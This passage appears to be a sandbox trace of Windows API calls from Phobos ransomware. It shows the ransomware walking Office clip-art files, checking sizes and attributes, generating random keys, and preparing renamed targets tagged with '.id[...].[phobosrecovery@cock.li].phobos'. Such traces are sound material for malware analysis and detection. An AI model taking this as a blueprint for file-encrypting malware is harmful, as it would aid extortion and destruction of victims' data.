files\\microsoft office\\root\\clipart\\pub60cor\\j0107314.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.697] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.697] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.698] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11288) returned 1 [0150.698] CloseHandle (hObject=0x564) returned 1 [0150.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf")) returned 0x220 [0150.698] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107316.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107316.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.698] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.698] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.698] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=6532) returned 1 [0150.699] CloseHandle (hObject=0x564) returned 1 [0150.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf")) returned 0x220 [0150.699] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107328.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107328.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.699] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.699] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.699] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4244) returned 1 [0150.699] CloseHandle (hObject=0x564) returned 1 [0150.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf")) returned 0x220 [0150.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107342.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107342.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.700] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.700] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.700] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5076) returned 1 [0150.700] CloseHandle (hObject=0x564) returned 1 [0150.700] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf")) returned 0x220 [0150.701] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107344.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107344.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.701] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.701] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.701] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=23672) returned 1 [0150.701] CloseHandle (hObject=0x564) returned 1 [0150.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf")) returned 0x220 [0150.702] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107350.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107350.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.702] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.702] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.703] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=7964) returned 1 [0150.703] CloseHandle (hObject=0x564) returned 1 [0150.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf")) returned 0x220 [0150.703] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107358.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107358.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.703] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.703] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.704] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=16588) returned 1 [0150.704] CloseHandle (hObject=0x564) returned 1 [0150.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf")) returned 0x220 [0150.704] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.704] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.704] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.705] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=11492) returned 1 [0150.705] CloseHandle (hObject=0x564) returned 1 [0150.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf")) returned 0x220 [0150.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.705] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.706] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=30336) returned 1 [0150.706] CloseHandle (hObject=0x564) returned 1 [0150.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf")) returned 0x220 [0150.706] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.706] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.707] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=4920) returned 1 [0150.707] CloseHandle (hObject=0x564) returned 1 [0150.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf")) returned 0x220 [0150.707] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.707] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.709] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=21216) returned 1 [0150.709] CloseHandle (hObject=0x564) returned 1 [0150.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf")) returned 0x220 [0150.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.709] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.709] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.710] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3724) returned 1 [0150.710] CloseHandle (hObject=0x564) returned 1 [0150.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf")) returned 0x220 [0150.710] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.710] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.716] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3568) returned 1 [0150.717] CloseHandle (hObject=0x564) returned 1 [0150.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf")) returned 0x220 [0150.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.729] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.730] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=9612) returned 1 [0150.730] CloseHandle (hObject=0x564) returned 1 [0150.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf")) returned 0x220 [0150.824] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107468.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107468.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.824] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.824] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.826] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=5492) returned 1 [0150.826] CloseHandle (hObject=0x564) returned 1 [0150.826] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf")) returned 0x220 [0150.827] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.827] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.827] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.828] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3060) returned 1 [0150.828] CloseHandle (hObject=0x564) returned 1 [0150.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf")) returned 0x220 [0150.828] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0150.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107730.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107730.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0150.828] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0150.828] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107734.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107734.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0150.830] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=3140) returned 1 [0150.830] CloseHandle (hObject=0x564) returned 1 [0150.830] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft 